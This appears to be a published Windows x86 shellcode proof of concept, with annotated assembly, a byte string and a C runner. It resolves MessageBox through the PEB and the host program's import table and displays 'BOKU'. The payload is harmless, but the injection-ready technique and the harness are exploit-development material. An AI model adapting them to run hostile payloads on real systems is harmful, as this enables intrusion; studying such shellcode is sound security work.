# Shellcode Title: Windows\x64 Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes)
# Shellcode Author: Bobby Cooke
# Date: March 2020-03-17
# Tested On:
# Windows 10 Pro 1909 (x86): HelpPane.exe, notepad.exe, certutil.exe
# Windows 10 Pro 1909 (x86_64): mmc.exe, xwizard.exe
# [!] Will only work if MessageBoxA or MessageBoxW exist in the Import Table of the Host PE
; Create new StackFrame
push ebp
mov ebp, esp
sub esp, 0x10
; Dynamically find the base address of the executable image from the PEB
; FS_Register > TEB > PEB > &ImageBase
xor ecx, ecx
mul ecx ; Clears EAX, ECX, EDX Registers
mov ebx, eax ; clear EBX Register
mov ebx, [fs:ebx+0x30] ; get PEB address = TEB+0x30
mov ebx, [ebx+0x8] ; get Image Base Addr = PEB+0x8
push ebx ; save &ImageBase in EBX
pop eax ; copy &ImageBase to EAX
; Get the Address of the Import Table
; DOS_Header > PE_Signature > ImportTable
add eax, [ebx+0x3C] ; EAX = &PE_Signature
mov dl, 0x80 ; &PE_Signature+0x80 = &ImportTable_RVA
add ax, dx ; EAX = &ImportTable_RVA
mov edx, [eax] ; EDX = RVA ImportTable
add edx, ebx ; EDX = &ImportTable
add dl, 0xC ; EDX = &Name_RVA of first Imported DLL
; Create string 'USER32'
mov cx, 0x3233 ; 23 : 3233
push ecx ; push "23, 0x0000"
push 0x52455355 ; RESU : 52455355
mov [ebp-0x4], esp
; Find the Name RVA for user32.dll within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA's
xor ecx, ecx ; ECX = Counter
fUser32Name:
push edx ; EDX = &Name_RVA of first Imported DLL
xor eax, eax
mov al, 0x14 ; &Name_RVA's are every 20 bytes
mul cl ; Counter * 20 bytes
add [esp], eax
pop eax ; EAX = &Name_RVA of Nth DLL
push eax
mov esi, [ebp-0x4] ; ESI = &String
mov edi, [eax] ; EDI = RVA Name of Nth DLL
add edi, ebx ; EDI = &Name of Nth DLL
push ecx ; save counter to stack
xor ecx, ecx
cld ; clear direction flag = Process strings from left to right
mov cl, 0x6 ; ECX = String Length
repe cmpsb ; compare first 6 bytes of &
pop ecx ; ECX = Counter
jz foundUser32Name ; If string at &Name_RVA == "USER32", then end loop
pop eax ; Pickup String Addr to fix stack
inc ecx ; else Counter ++
jmp short fUser32Name ; restart the loop
foundUser32Name:
pop eax ; EAX = &Name_RVA of user32.dll
mov [ebp-0x8], eax ; [ESP-0x8] = &Name_RVA of user32.dll
sub al, 0xC ; EAX = &User32_ImportNameTable_RVA
mov eax, [eax] ; EAX = User32_ImportNameTable_RVA
add eax, ebx ; EAX = &User32_ImportNameTable
mov [ebp-0xC], eax ; [ESP-0xC] = &User32_ImportNameTable
; Create string 'MessageBoxA'
mov ecx, 0x41786f6f ; Axoo : 41786f6f
shr ecx, 8
push ecx ; "oxA,0x00"
push 0x42656761 ; Bega : 42656761
push 0x7373654d ; sseM : 7373654d
jmp Counter
MessageBoxW:
mov byte [esp+0xA], 0x57 ; Change A to W
mov eax, [ebp-0xC] ; EAX = &User32_ImportNameTable
; Find the Name RVA for MessageBoxA within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA's
Counter:
xor ecx, ecx
fNameLoop:
mov esi, esp ; ESI = "MessageBoxA,0x00"
xor edx, edx
mov edi, [eax] ; EDI = RVA NameString
cmp edi, edx ; See if we checked all imported function names
je MessageBoxW
add edi, ebx ; EDI = &NameString of Nth Function
inc edi ; skip the first 2 bytes - Ordinal Value
inc edi ; skip the first 2 bytes
push ecx ; push counter value
xor ecx, ecx
cld ; clear direction flag = Process strings from left to right
mov cl, 0xB ; ECX = String Length
repe cmpsb ; compare first 11 bytes
pop ecx ; ECX = Counter value
jz foundName ; If string at &NameString == "MessageBox-", then end loop
mov dl, 0x4
add eax, edx ; Next RVA NameString of Imported User32.dll function
inc ecx ; Counter ++
jmp short fNameLoop ; restart the loop
foundName:
mov eax, [ebp-0x8] ; EAX = &User32_Name_RVA
add al, 0x4 ; EAX = &User32_ImportAddressTable_RVA
mov edi, [eax] ; EDI = User32_ImportAddressTable_RVA
add edi, ebx ; EDI = &User32_ImportNameTable
xor eax, eax
mov al, 0x4
mul cx ; Counter * 4 = Offset MessageBoxA in Table
add eax, edi ;[EAX] = &MessageBoxA
mov eax, [eax] ; EAX = &MessageBoxA
mov byte bl, [esp+0xA] ; DL = 'A' or 'W'
;CALL to MessageBoxA
; hOwner = NULL
; Text = "BOKU"
; Title = "BOKU"
; Style = MB_OK|MB_APPLMODAL
xor ecx, ecx ; clear ecx register
push ecx ; string terminator 0x00 for string "BOKU"
; MessageBoxA or MessageBoxW?
cmp bl, 0x41 ; if BL = 'A', then
je MsgBoxA ; push ASCII string
; String = "B-O-K-U-"
push 0x2d552d4b ; -U-K : 2d552d4b
push 0x2d4f2d42 ; -O-B : 2d4f2d42
mov edx, esp ; EDX = &String
UnicodeStrLoop:
inc edx ; 1st Char +1
mov byte [edx], ch ; Null byte after ever char in Unicode String
inc edx ; Every Other Char +2
inc ecx ; LoopCounter ++
cmp cl, 0x4 ; If end of string, then
je pushArgs ; Push arguments to stack for MessageBox- Call
jmp short UnicodeStrLoop
MsgBoxA:
push 0x554b4f42 ; UKOB : 554b4f42
pushArgs:
xor ecx, ecx
mov ebx, esp ; EBX = &String
push ecx
push ebx
push ebx
push ecx
call eax ; Call MessageBox- Function
############################################################################################################################
#include <windows.h>
#include <stdio.h>
char code[] = \
"\x55\x89\xe5\x83\xec\x10\x31\xc9\xf7\xe1\x89\xc3\x64\x8b\x5b\x30\x8b\x5b"
"\x08\x53\x58\x03\x43\x3c\xb2\x80\x66\x01\xd0\x8b\x10\x01\xda\x80\xc2\x0c"
"\x66\xb9\x33\x32\x51\x68\x55\x53\x45\x52\x89\x65\xfc\x31\xc9\x52\x31\xc0"
"\xb0\x14\xf6\xe1\x01\x04\x24\x58\x50\x8b\x75\xfc\x8b\x38\x01\xdf\x51\x31"
"\xc9\xfc\xb1\x06\xf3\xa6\x59\x74\x04\x58\x41\xeb\xde\x58\x89\x45\xf8\x2c"
"\x0c\x8b\x00\x01\xd8\x89\x45\xf4\xb9\x6f\x6f\x78\x41\xc1\xe9\x08\x51\x68"
"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\xeb\x08\xc6\x44\x24\x0a\x57\x8b\x45"
"\xf4\x31\xc9\x89\xe6\x31\xd2\x8b\x38\x39\xd7\x74\xec\x01\xdf\x47\x47\x51"
"\x31\xc9\xfc\xb1\x0b\xf3\xa6\x59\x74\x07\xb2\x04\x01\xd0\x41\xeb\xe0\x8b"
"\x45\xf8\x04\x04\x8b\x38\x01\xdf\x31\xc0\xb0\x04\x66\xf7\xe1\x01\xf8\x8b"
"\x00\x8a\x5c\x24\x0a\x31\xc9\x51\x80\xfb\x41\x74\x18\x68\x4b\x2d\x55\x2d"
"\x68\x42\x2d\x4f\x2d\x89\xe2\x42\x88\x2a\x42\x41\x80\xf9\x04\x74\x07\xeb"
"\xf4\x68\x42\x4f\x4b\x55\x31\xc9\x89\xe3\x51\x53\x53\x51\xff\xd0";
int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}